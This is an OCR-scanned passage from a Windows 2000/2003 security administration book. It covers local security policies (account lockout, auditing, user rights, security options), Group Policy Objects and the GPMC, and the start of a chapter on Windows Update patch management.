This is where administrators control the system’s handling of repeated
failed login attempts. The options available are described in Table 9-3.

Recommended
Policy Setting Description

Account Lockout  30-60 minutes
Duration

Account Lockout | 5 attempts
Threshold

Reset account 30 minutes
lockout counter

after

Controls the amount of time between
when an account is first locked in
response to invalid login attempts

and when the account is automatically
unlocked by the operating system.
Any setting higher than a few minutes
will result in helpdesk calls when a
legitimate user accidentally locks out
his account, but low values can allow
a patient attacker to mount a long-term
password guessing attack.

Sets the number of failed logins Windows
will allow before automatically locking
the account. Disabled when set to 0.

Sets the amount of time that must pass
since the last failed login attempt before
the failed attempt counter will reset to 0.

Table 9-3.  Account Lockout Policy Options
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Managing Local System Security Policies

Further down in Figure 9-6, we have the Local Policies tree. The options
available in the sub-trees of this policy are among the most important
security details an administrator can configure. All under one roof, we
have the paper trail capabilities of auditing, selection of which users can
assume system roles, and a host of security-related protocol and operat-
ing system switches.

Have you ever opened the Event Viewer on a system and found the
Security log to be completely empty? Due to default auditing options in
Windows (read: none), it happens all too frequently. Thus enter the first
grouping in this tree, defining the Audit Policy for the local system. This
provides administrators a simple, easy-to-find interface for enabling
auditing for various resource types systemwide. The various audit
events are listed in Table 9-4 along with the bare minimum recom-
mended settings.

Audit Policy

Option Minimum Setting | Description

Audit account | Failure This option allows logging of any time that the local
logon events system is used to authenticate an account, even if the

logon is attempted on another computer.

Audit account | Success, Failure | Fires for auditing on any change to a user account

management creation, modification, or deletion. 5
Audit directory = No auditing Determines whether or not to log accesses to 2
service access objects that may already have auditing defined on ‘;
the Active Directory level. =]
a
Audit logon Failure Fires for all logon events that take place on the @
events local system. On minimally accessed systems, o
successes should also be logged. g_
=
Audit object No auditing Similar to audit directory service access, this option =
access determines whether or not to audit non-AD objects =
that have their own audit policy defined. 2.
Audit policy Failure Controls whether or not to audit all changes to &
change local system policies, whether introduced due to @
user activity or otherwise.
Audit privilege = No auditing Determines whether or not to audit all events
use where a user takes advantage of a local system

right. Frequent failures can occur on privilege
use, so auditing this option will introduce a lot
of log noise.

Audit process | No auditing Provides detailed logging of application execution
tracking paths.

Audit system  Failure Determines whether to record items such as
events system startup /shutdown or other major events.

Table 9-4.  Audit Policy Options
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A common excuse for not implementing auditing is concern for disk
space required when logging a great deal of system events, but this ex-
cuse reflects ignorance on the part of the administrator. Event logs, such
as the security log where audit events are stored, should be configured
to use cyclic log files, with reasonable space limitations, when disk
space is a concern. While cyclic logs provide a window of exposure
where logs could be intentionally filled to overwrite previous events,
any security professional with experience in forensic investigations will
tell you that an overwritten log is better than no log at all.

The next tree in the Local Policies contains the User Rights Assign-
ments. This grouping provides administrators an interface for deter-
mining what user contexts have permissions to conduct certain
low-level operating system activities. The options exposed here are best
thought of as assigning membership to a number of highly selective
groups whose sole purpose is to allow some form of low-level operating
system permissions. For your reference, we have included descriptions
of the most notable of these options in Table 9-5. Due to space con-
straints, we have elected to omit some of the more self-explanatory or
rarely used options.

User Right Description

Access this computer  Users tagged with this right are authorized to make

from the network remote connections to this system.
Act as part of the This grouping provides extremely low-level access
operating system to the Windows operating system. No-default

Windows users require this right.

Allow logon through  Unavailable for systems prior to Windows 2000 SP2,
Terminal Services users and groups included in this list are permitted
to log in to Terminal Services, if available.

Back up files and This special right allows specified members to

directories access files and directories regardless of ACLs for
purposes of system backup. This grouping has an
antecedent for system restoration purposes.

Bypass traverse Members of this group (by default, all users) are

checking not subject to validation of the Traverse directory
file system permission, discussed earlier. Many
third-party applications are not properly prepared
to deal with refused directory traversals, prompting
this security circumvention option. When this
option is disabled, a user may be denied access to
a third- or fourth-level subdirectory that they have
explicit permissions to because of a permissions
denial on another member of the file path.

Table 9-5. User Rights Assignments Options



Change the
System Time

Create a token object

Debug programs

Deny access, logons

Load and unload
device drivers

Log on as a service

Log on locally

Manage auditing and
security log

Perform volume
maintenance tasks
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User Right | Descriptin |

An attacker may change the system time to allow

a replay attack or to cause a Kerberos Denial of
Service due to excessive time drift. The members of
this option should be limited to trusted, controlled
administrators.

This option defines users or groups who can
create Windows security tokens that are used for
validating access rights. Except under extremely
rare circumstances, this option should have no
members.

User identifiers included in this listing can obtain
the necessary handles to debug applications at the
machine language level. Users with this right can
open a handle to any system process with full
read/write permissions, and can therefore
introduce code directly (for purposes of privilege
escalation, for example). With the exception of
Windows application developers, no users should
require membership in this advanced right.

These options allow specific restrictions on a
particular user or user groups for the rights
reflected.

Members of this grouping can load low-level
software defined as a hardware device driver.

A sophisticated attacker could use this right to
execute code masquerading as a device driver
(which would be permitted unfettered access to
the system), so this right should only be assigned
to highly trusted entities.

Members of this group can submit processes to be
handled as Windows services. If the administrator
defines alternative users as service hosts, they will
require this right.

Users and groups listed here are permitted to log in
to the system console. Groups can be removed from
this listing to prevent standard users from using
their credentials to gain interactive access to systems
they should not have access to.

Specifies what users and groups can configure
auditing on specific objects, such as Active
Directory objects or files.

This setting specifies what users are permitted to
perform disk maintenance such as defragmenting
and the space management utility Disk Cleanup.

Table 9-5.  User Rights Assignments Options (continued)
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I T

Profile single process / = Sets which users can implement a debugging /

Profile system optimization technique known as process profiling.

performance Like debug programs, this right is usually only
required by application developers. This right
does not impact Performance Monitor process
monitoring.

Replace a process level = Defines which user contexts an application must

token be run under in order to be able to spawn new
processes under a different token. Only legitimate
service accounts should require this right.

Take ownership of files ' This is a super-right—members of this group can

or other objects take control of other user’s objects, thus overriding
any defined permissions or auditing. Only trusted
administrators should be assigned this right.

Table 9-5. User Rights Assignments Options (continued)

Saving the best for last, the Security Options tree contains all the re-
maining security settings that do not fit under the categories already
discussed. This includes definitions for anonymous access rights, net-
work authentication restrictions, and a variety of other configuration
options for use in restricted systems. Prior to Windows 2000, most of
these options were available only as entries in the registry; there was no
integrated interface available.

There are significant differences in how this tree is implemented in
Windows 2003 or XP as opposed to Windows 2000. Managing the list in
Windows 2000 is challenging, as each right is named in a descriptive
fashion and there are no logical groupings. Rather than extend the tree
another level, Windows 2003 and XP introduce a categorical prefix to
each option, so alphabetical ordering maintains the groups. Other op-
tions are split out to offer more granular controls. There are more than
60 options in this tree in Windows 2003 (up from 28 in Windows 2000),
so it is fortunate that the policy names are as verbose as they are. There
is little more we can convey in our description of a policy named, for ex-
ample, “Audit the use of Backup and Restore privilege.” We will limit
our discussion instead to the top five most notable security options,
with both their Windows 2000 and 2003 naming, in Table 9-6.

6 The Security Options policies allow you to specify certain minimum compatibility set-
tings including LAN Manager authentication level, session security options, and do-
main logon channel security options. Changing these options can have significant
and immediate impact on network clients if they are not properly prepared to meet the
protocol requirements defined. These options should not be deployed in a production
environment without adequate testing to evaluate compatibility of all clients.
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Windows 2003 Option | Windows 2000 Option

Network Access: Not Available
Allow anonymous
SID/Name

translation

Network Access: Additional
Let Everyone restrictions for
permissions apply to = anonymous
anonymous users. connections
Network Access: Do

not allow anonymous

enumeration of SAM

accounts (and shares)

Network Access:

(Shares / Named

Pipes) that can be

accessed

anonymously.

Network Security:
Do not store LAN
Manager hash value
on next password
change.

Not Available

Network Security: LAN Manager
LAN Manager Authentication
Authentication level ' Level

Shutdown: Clear Clear virtual
virtual memory
pagefile

down

memory pagefile
when system shuts

This option prevents the use of
SID walking tools to enumerate
system users. Refer to Chapter 6
for more information on SID
walking.

Windows 2000 has much less
granular control for anonymous
enumeration, simply providing
an interface to the
RestrictAnonymous registry
setting, but Windows 2003
exposes additional options so
that servers hosting
applications that require limited
anonymous access can maintain
restrictions on other accesses.

When enabled, this causes the
server to cease storing the
insecure LM hash, which can be
very easily brute forced if an
attacker can gain access to the
SAM. Enabling this option will
not prevent LM captures off the
wire, however, as clients can
still be tricked into sending LM
authentication unless group
policies disallow it.

Determines how the system
responds to authentication
challenges, defaults to LM &
NTLM responses in Windows
2000 and XP, LM responses can
be easily cracked. This option
should be set as high as
possible depending on client
compatibility.

Sensitive data such as passwords
or cleartext document data can be
written to the pagefile during
system use. If the pagefile is not
cleared on shutdown, a physical
attacker could scour the stored
pagefile for useful data.

Table 9-6. Ciritical Local Security Options
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As you can see in Table 9-6, two of our top five Local Security Op-
tions are not even available in Windows 2000! These new options repre-
sent lessons learned since the development of Windows 2000, and the
Security Options policies provide a single location from which all of
these controls can be managed. In the next chapter, we’ll look at how we
can use our Windows domain group policies to define the options
we’ve discussed here across our entire organization.

SUMMARY

We’ve covered a lot of ground in this chapter, exploring the mechanics of
assigning rights and policies on a local system. The methods and options
we've discussed here are the foundation of the Windows security model—
adjusting the permissions on an Active Directory object is functionally
identical to setting permissions on a file, and the security policies we
covered in the second half of the chapter are applicable to all Windows
2000+ operating systems, servers, and workstations alike. With an un-
derstanding of how these settings can be used to secure our own PC, we
are ready to turn our attention to the enterprise in the next chapter.
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ments in the Windows 2000 Active Directory (AD) services is the

client control afforded by Group Policies. The Windows NT 4.0
domain model introduced System Policies, a tool that was primarily
intended to allow administrators to enforce user interface settings of cli-
ent systems. System Policies were not secure, could be overridden by
editing the registry, and could not be backed out—once applied, the set-
tings remained until they were directly edited or overwritten.

In Windows 2000 Active Directory, the System Policies have been
incorporated into more secure and powerful Group Policies, exposing
many more system properties and applying settings more logically and
with better security. All the security settings discussed in the previous
chapters and a great deal more can be applied to an Active Directory
site, domain, or organizational unit (OU). These policies are applied to
client systems in a specific order, with the policies of the top members of
the Active Directory hierarchy receiving the highest precedence, allow-
ing simple definition and tuning of universal baseline policies.

Like any Active Directory components, group policies must be care-
fully thought out and tested before they are deployed to a production
environment. This text is not intended to provide instruction on proper
Active Directory management, and this will not be the focus of our dis-
cussion. We will briefly discuss the specific properties of group policy
inheritance and the order of application, but our primary focus in this
chapter is on how to use group policies to apply the security controls
discussed in this text in an Active Directory environment.

From a security perspective, one of the most compelling advance-

GROUP POLICY OVERVIEW

The collection of system settings that define a group policy is referred to
as a Group Policy Object (GPO). The name Group Policy can be mislead-
ing, as these policies are not actually applied to traditional group ob-
jects. Rather, they are applied at organizational levels in the Active
Directory, and group “membership” is defined by permissions on each
GPO. This can at times seem counterintuitive because you will often
ease group policy restrictions by removing the user or system object’s
permissions to the GPO.

Windows 2000’s first offering of group policies provided a little over
400 client settings that could be applied using GPOs. Windows XP and
2003 have introduced hundreds more settings to the group policy,
based on new tuning parameters in the operating systems themselves as
well as user feedback on items that many felt should be included as pol-
icy options. The end result is over 600 different policy settings for Win-
dows XP and in the vicinity of 1,000 for Windows 2003.
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It is possible to have used Group Policies without knowing you have
done so. In simple domains, the Domain Security Settings applet is used
to define a subset of the default domain GPO, which is applied to all do-
main members and users unless specifically excluded from the GPO’s
permissions.

Group Policy Application
In complex Active Directory forests, the precedence of group policy ap-
plication is very important to understand to avoid deploying conflicting
policies and the troubleshooting headaches that ensue. GPOs are ap-
plied in an additive fashion, progressing up the AD hierarchy. Each
new GPO overrides any settings defined in lower levels. The applica-
tion order for GPOs is as follows:

Local system
Site

Domain

Organizational units

B Parent precedes children in the case of nested OUs

As such, if a site administrator had configured an IP security policy in
the GPO for his site, and the domain administrator had defined a differ-
ent IP security policy for her domain, the domain IP security policy
would override the site policy. Because these conflicts will inevitably oc-
cur in even the most well-planned Active Directory schema, any GPO
above the local system can be configured to block inheritance, preventing
any GPOs from higher levels of the schema from being applied. This op-
tion has the potential for abuse by uncooperative administrators, so
GPOs can also be defined as “no override” (this term may be used inter-
changeably with “Enforced,” depending on the management tool). GPOs
designated as such will be applied regardless of whether previous GPOs
were set to block inheritance.

The application order of GPOs allows for baseline security to be de-
fined at the top level of the forest and augmented as necessary by the OU,
domain, and site administrators down the hierarchy. The true beauty of
this solution becomes evident when a new threat emerges that can be mit-
igated via group policies—a new, Enforced GPO can be defined at a sin-
gle point in the forest and distributed to all members very rapidly.

mainmang Aarjod dnoayp

Working with Group Policies
Later in the chapter, we will discuss how to create GPOs and link them in
Active Directory on your domain controllers. For our initial discussion of
the options available in a GPO, and for the sake of the domain-controller
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deficient, we'll begin working with the Local GPO, available on any Win-
dows 2000 or greater operating system. In Chapter 9, we explored the Lo-
cal Security Settings options, available from the Administrative Tools
program group. Those settings are actually a subset of the local GPO, as
we'll see in a moment. To access the local GPO on your system:

1. Open the Microsoft Management Console by selecting Start |
Run... | mmc.exe.

From the File menu, select Add/Remove Snap-in...
Click Add...
Select the Group Policy Snap-in menu item and click Add...

The Group Policy Wizard asks what GPO this snap-in should
manage. Accept the default Local Computer and click Finish.

6. Click Close, and then OK to return to MMC.
7. Expand the Local Computer Policy tree.

gk WD

As shown in Figure 10-1, the Local Computer Policy (or Local GPO)
is comprised of two separate configuration groups, User and Computer.
The Computer Configuration includes settings like IP Security policies
and local system security options (such as network authentication lev-
els). The Computer Configuration applies to the system no matter what
user is logged on, but the User Configuration can change depending on
what user is logged in, so some settings are duplicated in both of these
trees. The Computer Configuration takes precedence over User Config-
uration on items for which there are conflicting settings. While policies
from both configurations are reapplied periodically to stay up-to-date
(the default interval for this policy refresh is 90 minutes), Computer
Configuration policies are applied at boot time. User Configuration pol-
icies are applied when a user logs in to the system.

6 Because Windows 2000 had a far smaller collection of group policy settings avail-
able, by default a Windows 2000 domain controller will not allow an administrator to
configure the new settings introduced in XP or 2003. Administrators of Windows
2000 domain controllers can obtain updated group policy template files to allow
tuning the new options in XP, which will be ignored by earlier versions of Windows.
This process is described in Microsoft's Knowledge Base article 307900, available
at http://support.microsoft.com/?kbid=307900.

Windows 2003 and XP systems offer another approach to managing
GPOs with a new tool offering, the Group Policy Management Console
(GPMC). The GPMC allows administration of group policies throughout
the AD forest and provides a far more centralized view of group policies
deployed across the organization. GPMC requires Windows 2003 Server
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Figure 10-1.  The Local Group Policy Object MMC snap-in

or Windows XP Professional SP1 with the .NET Framework. The GPMC
and supporting documentation can be obtained from http://www
.microsoft.com/windowsserver2003/gpmc/default. mspx. We will look at
the GPMC a little more closely when we discuss applying GPOs to domain
objects later in this chapter. For now, we'll stick to the default MMC
snap-in.
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Group Policy Settings
We have already discussed some of the settings available within a GPO
in Chapter 9. The Local Security Settings management console exposes
settings from the Local GPO under Computer Configuration | Win-
dows Settings | Security Settings. Table 10-1 shows the top categories of
the Group Policy object, and the types of settings they offer in both the
Computer Configuration and User Configuration trees.

Group Policy-based Software Settings are typically used to support
software deployment services in very large environments and to define
installation packages that domain members can obtain directly from
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Computer Configuration User Configuration
Category Settings Settings

Software Settings = Allows definition of Software packages and
(Empty on Local software packages and installation settings that
GPOs) installation settings that are = are available based on

applied at the system level  the logged-in user.
to any computers subject

to this policy, regardless of

logged-in user.

Windows Settings | Allows definition of system = Controls user-interface
startup and shutdown aspects of the operating
scripts, the computer-level | system, such as logon/
security settings discussed | logoff scripts,

in Chapter 9, and management
additional local operating | (redirection) of system
system options. folders, and Internet

Explorer customizations
and controls.

Administrative Contains a variety of With similar groupings
Templates configuration options to the computer
that affect core Windows  configuration, the User
service and utility configuration allows
offerings, defined on more granular tuning
the computer level. of user-exposed options
for the core Windows
offerings.

Table 10-1.  The Three Group Policy Object Settings Trees

the domain controllers. This is frequently used in conjunction with
software restriction policies (under the Windows Settings | Security
Settings tree) to help manage software licensing compliance.

The Windows Settings tree of the Local GPO exposes the local secu-
rity settings discussed in Chapter 9. When working with GPOs applied
to AD objects, there are additional settings exposed that consolidate
some of the other system configuration options that typically play a part
in system hardening. Figure 10-2 depicts the Security Settings from a
default domain Group Policy Object. As you can see, above the Local
GPO level, the Windows Settings can define such policies as which Sys-
tem Services should be disabled or enabled, which Registry and File
System permissions can be applied, and which local-system group
membership can be fine-tuned for domain users.

The Administrative Templates tree encompasses the policies for the
vast majority of Windows components, including applications such as
Internet Explorer and NetMeeting, system services such as Terminal
Services and Task Scheduler, and system-level configurations such as
restrictions on local network connections, system script execution, and
system logon properties. As is the case with the other GPO trees, the set-
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Figure 10-2. The Security Settings tree on a Domain GPO offers centralized control of
more client settings than the Local GPO.

tings under Computer Configuration tend to be more general, such as
enabling or disabling certain functionality, while the User Configura-
tion settings tend to be more diverse (and complicated), allowing fine-
tuning of core system behaviors.

With the immense number of settings available in group policies, it
would be neither feasible nor advisable to document all of them in
this text. Microsoft maintains an up-to-date Group Policies settings
reference for the most complicated Administrative Templates tree,
which can be found at the TechNet Group Policies homepage, http://
www.microsoft.com/technet/grouppolicy/. This document, supplied
as an Excel spreadsheet, lists all the GPO settings within Administrative
Templates and the operating systems (and service pack levels) to which
they can be applied. In addition to this resource, the help facilities pro-
vided within group policy objects are very well implemented, particu-
larly so in the Administrative Templates tree, where context-sensitive help
is often displayed in the MMC'’s extended panel view (see Figure 10-3).

The Local GPO can provide administrators a canvas for testing the
impact of group policies by allowing configuration of the majority of the
settings that are available on the domain level without having to contin-
ually edit and reapply domain-level group policy objects. Settings not
exposed in the Local GPO, such as the additional permissions capabili-
ties in Security Settings, can usually be implemented on the local system
through some other facility. However, such testing should be con-
ducted only on systems that are not domain members to prevent do-
main GPOs from overriding the local GPO.
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Figure 10-3. The extended panel view help in the Administrative Templates tree of
the GPO

Configuring Individual Group Policy Settings

Group policy settings are not restricted to simple “On/Oft” type con-
trols, as you know from working with the Local GPO. Each setting’s
format is defined by its content—for example, to configure registry
permissions settings, you specify the key that you want to apply per-
missions to, and then adjust user and group permissions for the entry as
if you were using the Registry Editor. The policy settings in all trees of
the GPO are configured with standard Windows properties dialog
boxes, such as that in Figure 10-4. The Explain tab on these dialog
boxes includes the detailed descriptions that can be shown in the Ex-
tended view (shown in Figure 10-3), and the Next Setting/Previous
Setting buttons allow the user to walk through the settings in any
folder of the tree.

Most settings in the GPO will either take the form of the DNS suffix
setting shown in Figure 4 or will provide a list (sometimes empty) of
policy definitions. More complicated settings, such as IP security poli-
cies and file or registry permissions, will take this latter form. The im-
portant concept common to both of these methods is the transparency
of “Not Configured,” or with more complicated policies, the lack of
any setting at all. In the absence of a specific directive from a GPO,
nothing will be applied, and the specific operating system’s defaults
will be in effect.
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Figure 10-4.  Setting the properties for a Group Policy Setting

WORKING WITH GROUP POLICIES
IN ACTIVE DIRECTORY

Group Policy Objects show their true power only when applied to an
Active Directory site, domain, or OU. While the local GPO has its pur-
poses for standalone systems, the greatest administrative benefits are
derived when GPOs are used to quickly and easily deploy system secu-
rity to groups of users and systems from a central location. In this sec-
tion, we will see how to manage and deploy group policies across AD

organizational structures.

,Q{\ As mentioned earlier, deployment of GPOs is not something that should be taken
lightly, and overzealous policies have the potential to cause substantial interruptions
in business activity. Always employ adequate change control procedures and testing
criteria before developing and deploying GPOs, and do not attempt the techniques
described next without a strong understanding of Active Directory as a whole.
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Editing Default Domain Policies

Both Windows Server 2000 and 2003 domain controllers are deployed
out of the box with a Default Domain Policy GPO. This GPO is applied
to all domain members unless they have been specifically excluded by
editing the GPO’s permissions. AD-based GPOs are edited with the
same Group Policy Object Editor management console snap-in that we
used to access the Local GPO but can be indirectly accessed through the
properties of a site or domain, as so:

B From Administrative Tools, open either the Active Directory
Sites and Services applet or the Active Directory Users and
Computers applet.

B In the site/domain tree view, right-click the domain whose
GPOs you wish to edit and select Properties.

B Click the Group Policy tab (shown in Figure 10-5).
If you have already installed the Group Policy Management Con-
sole (described earlier in the chapter) you will see a different dialog box

than the one in Figure 10-5; you will see one that directs you to use the
GPMC for working with Group Policy Objects. We’ll discuss the GPMC
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Figure 10-5. The Managing AD-based Group Policy Objects from the Domain Properties
dialog box is superseded when GPMC is installed.
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in a moment. From the dialog box in Figure 10-5, we can manage the ap-
plication of the Default Domain Policy. Any Group Policy Objects listed
in the Properties dialog box will be applied to all members of this site/
domain/OU (according to permissions) unless the GPO is marked Dis-
abled. The controls on the Group Policy dialog box are used as follows:

B New Addsanew GPO to the Active Directory site/
domain/OU.

B Add Allows an administrator to link a GPO from another
site/domain/OU.

B Edit Brings up the Group Policy Editor MMC snap-in,
focused to the selected GPO.

B Options... Provides controls to set the No-Override option
for a GPO or to disable the GPO’s link to the site/domain/OU.

B Delete... Removes the selected GPO, either by simply
unlinking and removing it from the list or by physically
deleting the GPO definition.

B Properties Allows configuration of the GPO’s access
permissions, defining WMI filters to limit application of the
policy, or determining what other sites/domains/OUs are
linked to this GPO.

B Up/Down Sets the order in which listed GPOs are applied
to clients. Recall that the GPOs applied last take precedence,
so this allows administrators to control the application order
for the GPOs defined in the site/domain/OU.

B Block Policy Inheritance Sets whether or not this policy will
try to prevent any settings defined within from being replaced
by a subsequent policy. GPOs defined with the Enforced or
No-Override options enabled will ignore the Block Policy
Inheritance option.

Controlling Who Is Affected by Group Policies

Of these controls, the Properties settings deserve our closest attention
because the permissions defined for a GPO are how an administrator
can control what users and groups are subjected to the policies defined
within. The Security tab of this dialog box is shown in Figure 10-6.

As shown, the group Authenticated Users (an automatic group con-
sisting of all users with valid credentials) have the Read and Apply
Group Policy rights enabled for the Default Domain Policy. These are
the two rights required for a GPO to be applied, so all users are subject
to the Default Domain Policy. To reduce the scope of a given GPO, we
must remove one or both of these rights from the Authenticated Users

165
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Figure 10-6.  The security properties of a Group Policy Object

group and assign the Read and Apply Group Policy rights for the users
and groups for whom we want the GPO to apply. This is the counter-
intuitive rights assignment we mentioned at the introduction of the
chapter, which further stresses the importance of well-planned GPO
implementation.

Using the Group Policy Management Console

Users of Windows Server 2003 and Windows XP Professional (SP1, with
.Net Framework) can install the new Group Policy Management Con-
sole to get better control over their AD-based Group Policy Objects. As
we just saw, Windows 2000 group policy management was accom-
plished on a local level; the interface is accessed from the properties of a
given site, domain, or OU. As such, understanding the relations be-
tween GPOs implemented at different levels of the directory can be very
challenging, particularly in complex AD forests.

Enter the Group Policy Management Console. Implemented as a
new MMC snap-in, the GPMC presents a unified view of all group policies
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in the Active Directory, or at least all the GPOs that the user running
GPMC has Read access to. The GPMC provides new functionality such
as GPO Import/Export and Backup/Restore capabilities, and simple
reporting that greatly eases administrative troubleshooting and plan-
ning. The tool can be downloaded from http://www.microsoft.com/
windowsserver2003/gpmc/default. mspx. After installation, the GPMC
can be accessed from Start | Administrative Tools | Group Policy Man-
agement.

When defining group policies with the GPMC, many of the nuances
that have complicated GPO deployment are smoothed over. For exam-
ple, GPMC provides a more simple method of filtering what users and
groups should apply a given policy by hiding the raw permissions edit-
ing that we discussed earlier. The administrative permissions we saw in
Figure 10-6 are separated from this security filtering and are displayed
on the Delegation tab of a policy’s properties panel. If you miss the
old-style security properties dialog box, it can be accessed from the
Advanced button on the Delegation tab.

Some of the most exciting features of the GPMC are the options pre-
sented for group policy reporting. Selecting the Settings tab for any
GPO in the GPMC generates an HTML report showing only the security
settings that are actually defined in the GPO. This provides administra-
tors a great tool for troubleshooting GPO-based permissions issues
or for simply performing quick audits. Figure 10-7 shows the GPMC
open to the Settings report for the Default Domain Policy for the domain
corporate.hacknotes.local. In addition to mapping the properties of a
single GPO, the GPMC can also help you develop group policies with
Group Policy Modeling or quickly generate a report on the end result of
GPO application using the Group Policy Results wizard. Both of these
tools evaluate the various GPOs that an actual (or hypothetical) user
and computer would be subjected to and display the end result for the
administrator to review.

ﬂ Aside from the policy modeling features in the GPMC, you may also want to take a
look at the group policy utilities included with the Windows 2000 Resource Kit.
Microsoft has made many of the Resource Kit tools available for download, includ-
ing a group policy utility “gpresult.exe” that can be run on a client system to view the
current, effective group policy.

Since the GPMC can be installed on a Windows XP workstation and used to
manage group policies in the Active Directory (provided the logged-in user has suf-
ficient permissions), this tool is largely superseded. However, many of the other
utilities are very useful, and are worth checking out. The tools can be obtained from
http://www.microsoft.com/windows2000/techinfo/reskit/default.asp.
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Figure 10-7. The Group Policy Management console—Policy Settings report

SUMMARY

In this chapter, we have presented only the most basic uses of group poli-
cies, as our objective was to introduce the concepts and tools involved. As
your group policy definitions become more secure, they will also become
more complex. Newly implemented controls can incur help-desk calls
that will eventually bring about new exceptions. Without careful plan-
ning, the system can quickly grow unmanageable, but properly man-
aged, group policies are one of the most powerful anti-hacker munitions
in the administrator’s arsenal.

Even if the only policy being used is the Default Domain Policy to
enforce some basic Internet Explorer security settings, administrators
can still use this GPO to rapidly deploy security solutions to react to
new threats. Many of the settings we’ve discussed already, along with
the Windows security tools we will discuss in the following chapters,
can all be implemented from within Group Policy Objects, allowing ad-
ministrators to deploy advanced network and file system security net-
work wide with minimal effort. In Chapter 11, we will cover the options
available for maintaining Windows operating system security through
careful patch management, another security tool that can be managed
using the group policies we’ve just discussed.
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Microsoft began promoting their renewed commitment to security

with a simple message: “Get Secure, Stay Secure.” This directive
clearly defines the two phases of implementing a secure system—prep-
aration and maintenance. As we’ve seen in previous chapters, there is a
great deal that we can do within the operating system to prevent unau-
thorized access and to control an authenticated user’s ability to access
restricted resources. Many of the techniques we discussed in the previ-
ous chapters provide a second level of defense—limiting permissions of
legitimate users so that attackers with stolen credentials (or perhaps dis-
gruntled users) cannot easily obtain escalated privileges or access sensi-
tive materials. Now that we've “got secure,” let’s take a look at our
options for staying secure.

Before we begin, a brief note. Staying secure isn’t solely about man-
aging patch levels. To ensure your servers are prepared for the worst
the network can offer, you must keep your ear to the ground and ac-
quaint yourself with the various security news sources. (If you don’t yet
have a favorite, consult the Reference Center for some of ours.) Occa-
sionally, serious security issues can surface for which there is no imme-
diate fix. In these cases, your current patch levels may be irrelevant, and
you may need to take manual steps to protect against the threat. No
patch management plan can take the place of awareness.

In the months leading up to the release of Windows Server 2003,

HISTORY OF WINDOWS
OPERATING SYSTEM UPDATES

Prior to the introduction of the Windows Update site, maintaining all
security patches on even a single server was challenging. The adminis-
trator needed to keep track of installed patches and had to evaluate each
new patch to see if it applied to his system. Many large organizations in-
vested untold fortunes into the constant development and refinement
of scripts that could ensure that all networked systems had applied
patches deemed critical, investing in third-party software management
packages or Microsoft Systems Management Server.

The Microsoft Windows Update site opened to a pensive audience
as Microsoft was ushering users to the Windows 2000 operating sys-
tems. Despite repeated assurances, many users were wary of an auto-
mated update tool. Rumors spread rapidly of malicious copy protection
schemes that could collapse corporate networks, stolen credit card
numbers, and UFOs over Redmond. In time, however, Windows Up-
date began to steadily grow in popularity as more patches were
required for various Windows 2000 services more and more fre-
quently. Soon after, Microsoft made the Critical Update Notification
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utility available, a tool that checked with Microsoft’s update site on a
regular schedule and advised the user of patch availability.

As Windows 2003 Server development wrapped up, the logical pro-
gression of Critical Update Notification and Windows Update finally
came to pass, and suddenly Windows 2000 SP3 and Windows XP sys-
tems not only were capable of obtaining patches unattended, but could
even install them (note that some updates may require a reboot before
they are completely applied). Automatic updates can be a great time
saver for many administrators, depending on the type of environment
they operate in.

AUTOMATIC OR MANUAL?

Some environments dictate patch management methods that may ap-
pear to preclude the use of Automatic Updates. Secured environments
with no external network access, organizations that require patches to
be locally certified before deployment, or sites with bandwidth limita-
tions usually cannot take advantage of automatic updates without the
use of additional software and /or homegrown solutions. Then there are
the power users who resist any changes to their system configuration
(“I swear—I just came in this morning, and the machine had just fallen
off of the domain!”).

Manual updating, diligently maintained, can be just as successful as
automatic updating. Unfortunately, most users are not so diligent, and
weeks or months can pass between a user’s visits to the update site.
While servers are often carefully patched by their administrators, net-
work clients rarely receive the same degree of attention. In the author’s
experience, the most critical time for attacks with new vulnerabilities is
usually not the first 48 hours—during this time, knowledge of any
working exploits is usually limited. Within a few days of the vulnerabil-
ity’s initial public disclosure, the exploit is more widespread, and the
actual risk of attack continues to increase steadily over time. In some
cases, a worm may take advantage of the exploit, and with autonomous
attackers randomly probing network addresses, the likelihood of attack
becomes quite high. This is the distinct advantage of automatic updates;
they can dramatically lower the average time to patch, minimizing the
chance of exposure to a new security issue due to lax administration.

Regardless of whether you use the new Automatic Updates features
to keep your systems up to date or trust your users and administrators
to do so manually, you will still not have the capability of centrally doc-
umenting your exposure. If you require features like guaranteed deliv-
ery of updates or centralized reporting, there is no alternative to using
SMS or another system management package. The update methods we
present in this chapter will not offer these kinds of capabilities.
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How to Update Windows Manually

Applying baseline system security updates to a single Windows 2000 or
higher system is a breeze, if you have enough bandwidth. Simply open
Internet Explorer and connect to the Windows Update site at http://
www.windowsupdate.com. Typically, patches can only be installed by
members of the Administrators group (domain or local system), so you
will want to log in with the proper credentials first.

Windows Update uses an ActiveX control to ascertain limited sys-
tem information, which it then uses to determine what updates are
available for your installation. The Windows Update scan process is
shown in Figure 11-1. Microsoft does maintain a small amount of infor-
mation from this transaction, but we will direct you to view the current
Privacy Policy document if you have any concerns about this activity,
in case there have been any changes since publication. Windows Up-
date also assists you in managing patch application, with such fea-
tures as disabling the selection of options that cannot be installed
simultaneously and directing you to install the latest service pack
prior to recent hot fixes.

/2 Microsolt Windows Update - Microsoft Internet Explorer
Ele Edit Wew Favortes Took  Hep i
Qesk - - 4 3 ,|,Surd|  Fauorites o Media _{:_-_| el

Address | £] hitp:/jvd.nin rlcrosot.c asn j.E]Go ks »
# Windows Update

Home | Windows Catalog | Windows Family | Office Update | Windows Update Worddwide
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[ mick updates tao instal . 65%
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Figure 11-1.  Windows Update scanning for updates
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Manual Updates in Disconnected Environments

Some highly secured organizations maintain entirely segmented local
networks, allowing external data only through highly restricted air-
lock-style transactions. Administrators in these environments face a
special challenge in managing updates. The first hurdle is simply to lo-
cate standalone installers for critical updates and service packs, as some
update installers were distributed as a lightweight installer that would
download the necessary components after inspecting the system. Fortu-
nately, Windows Update site now provides accommodations for these
administrators in the form of the Windows Update Catalog, available
from the Windows Update homepage. This site allows administrators
to browse the available service packs and updates, selecting the compo-
nents they want to obtain standalone installers for and then performing
a batch download of all selected packages. For quick and easy access to
service pack network installation packages, the Windows Service Packs
homepage provides package download information for administrators
and is available at http://support.microsoft.com/support/servicepacks/
default.asp.

Alternatively, an administrator in such an environment could im-
plement a local update server, compatible with a modified version of
the Automatic Update tool. This solution allows the administrator to
post only the patches they have tested and certified while not losing the
benefit of unattended patch installation. We will discuss this approach a
little further in this chapter.

Windows Update: What’s in a Name?

The Windows Update site provides a simple interface for users looking
to obtain the latest updates and services packs for their operating sys-
tem. But the Windows Update site is intended solely to update Win-
